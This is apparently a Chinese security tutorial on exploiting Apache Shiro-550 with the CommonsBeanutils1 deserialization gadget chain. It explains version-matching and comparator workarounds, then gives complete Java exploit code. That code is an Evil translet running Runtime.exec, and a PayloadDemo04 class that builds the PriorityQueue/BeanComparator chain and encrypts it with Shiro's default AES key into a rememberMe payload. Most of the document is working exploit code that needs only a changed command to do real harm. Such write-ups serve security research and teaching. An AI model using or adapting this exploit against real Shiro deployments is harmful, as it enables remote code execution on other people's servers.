CommonsBeanutils1反序列化链在Shiro中的利用
前面分析Shiro550的时候,利用的是commons-collections进行构造反序列化链,但是commons-collections是我们手动加进去的,如果Shiro没有commons-collections链呢,这时候该怎么办?这时候CommonsBeanutils1反序列化链就派上用场了!
Shiro是默认依赖Commons-Beanutils1.8.3的,那么就可以利用CommonsBeanutils1反序列化链进行构造payload
注意点
此处要注意的是,反序列化时会计算 服务器端反序列化对应类的serialVersionUID 值跟序列化数据里面的 serialVersionUID 值进行比对,如果一样则可以完成反序列化,不一样则会抛出错误,Shiro依赖的版本是Commons-Beanutils1.8.3,所以为了保证serialVersionUID值一样构造payload时也用Commons-Beanutils1.8.3版本
第二个注意点,CommonsBeanutils1链用到的BeanComparator类的构造方法参数为空时,则会使用到ComparableComparator.getInstance()
注意到ComparableComparator类是属于commons-collections依赖的,在Shiro中默认包含一部分commons-collections的类,但是不完全,比如就没有包含ComparableComparator类。那么就需要实例化BeanComparator类时填写第二个参数,第二个参数是Comparator类型的,所以我们要找一个实现Comparator和Serializable接口的类,且这个内是内置在java、Commons-Beanutils或者Shiro中的,这里用到的是CaseInsensitiveComparator类,这个类是内置在java的String类中的,可以通过String.CASE_INSENSITIVE_ORDER 方法获取
构造payload
根据前面的分析,就可以得出CommonsBeanutils1反序列化链攻击Shiro的payload了
Evil.java
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public Evil() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
}
PayloadDemo04.java
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class PayloadDemo04 {
public static void main(String[] args) throws Exception {
PriorityQueue priorityQueue = (PriorityQueue) getObject();
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(priorityQueue);
byte[] bytes = bo.toByteArray();
AesCipherService aesCi = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource encrypt = aesCi.encrypt(bytes, key);
System.out.println(encrypt.toString());
}
public static Object getObject() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.apache.shiro.test.Evil.class.getName());
byte[] bytes = clazz.toBytecode();
TemplatesImpl Evilobj = new TemplatesImpl();
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add("1");
priorityQueue.add("1");
Field declaredField = Evilobj.getClass().getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
setField(Evilobj,"_bytecodes",new byte[][]{bytes});
setField(Evilobj,"_name","ky");
setField(Evilobj,"_tfactory",new TransformerFactoryImpl());
setField(comparator,"property","outputProperties");
setField(priorityQueue,"queue",new Object[]{Evilobj,Evilobj});
return priorityQueue;
}
public static void setField(Object obj,String field,Object value) throws Exception{
Field declaredField = obj.getClass().getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(obj,value);
}
public static void serAndUnser(Object obj) throws Exception{
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(obj);
oo.flush();
oo.close();
ByteArrayInputStream bi = new ByteArrayInputStream(bo.toByteArray());
ObjectInputStream oi = new ObjectInputStream(bi);
Object o = (Object) oi.readObject();
}
}
总结
说到底Shiro550只是提供一个反序列化入口罢了,如果对方服务器没有反序列化链可以利用也就没大用
|